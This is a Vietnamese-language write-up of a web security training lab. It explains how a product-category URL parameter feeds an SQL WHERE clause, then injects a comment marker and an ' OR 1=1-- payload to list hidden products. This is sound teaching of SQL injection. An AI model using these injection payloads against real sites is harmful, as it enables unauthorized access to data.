Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

A screenshot of a computer

Description automatically generated with medium confidence

Yêu cầu của bài lab là hiển thị tất cả các sản phẩm của bất kỳ category, kể cả đã sản phẩm được hiện thị và không được hiển thị.

Truy cập vào bài lab ta thấy đây là 1 website bán hàng, với từng danh mục như ‘Accessories’ ,’Clothing, shoes and accessories’, ‘Corporate gifts’ và ‘Lifestyle’.

Graphical user interface, website

Description automatically generated

Lựa chọn mục ‘Lifestyle’ và thấy thanh địa chỉ hiện URL như sau: <https://acba1f291e3a4993c0bd46c60095006e.web-security-academy.net/filter?category=Lifestyle>

Đổi thành SQL như sau:

SELECT \* FROM category WHERE category = ’Lifestyle’ AND released = 1

Nghĩa là ta sẽ lấy hết những sản phẩm thuộc danh mục là Lifestyle và được hiển thị.

Graphical user interface, website

Description automatically generated

Ta có thể chỉnh sửa URL thành như sau ‘https://acba1f291e3a4993c0bd46c60095006e.web-security-academy.net/filter?category=Lifestyle%27—’

Đổi thành câu truy vấn như sau:

SELECT \* FROM category WHERE category = ’Lifestyle’—' AND released = 1

Ở trong SQL dấu – có nghĩa là comment, do đó khi ta thêm dấu – thì toàn bộ phần phía sau là AND released = 1 trở thành comment.

Câu truy vấn trở thành:

SELECT \* FROM category WHERE category = ’Lifestyle’

Nghĩa là lấy tất cả sản phẩm của danh mục Lifestyle.

Và kiểm tra kết quả hiển thị

Graphical user interface, website

Description automatically generated

Ta có thể thấy, phần sản phẩm đã xuất hiện thêm 1 sản phẩm mới là ‘Balance Beams’

Tiếp theo, để hiển thị tất cả sản phẩm của bất kỳ danh mục có trong website ta thay đổi URL như sau:

<https://acbd1f821e134f99c0144063006500b4.web-security-academy.net/filter?category=Lifestyle%27+OR+1=1-->

Đổi thành câu truy vấn như sau:

SELECT \* FROM category WHERE category = ’Lifestyle’ OR 1=1—' AND released = 1

Câu truy vấn này sẽ trả về tất cả sản phẩm của danh mục Lifestyle hoặc khi 1 bằng 1. Mà 1 luôn luôn bằng với 1 do đó nó sẽ trả về toàn bộ sản phẩm có trong database.

Graphical user interface, website

Description automatically generated

Qua phép thử trên, ta thấy có thể chỉnh sửa URL để hiển thị các sản phẩm trong bất kỳ danh mục nào.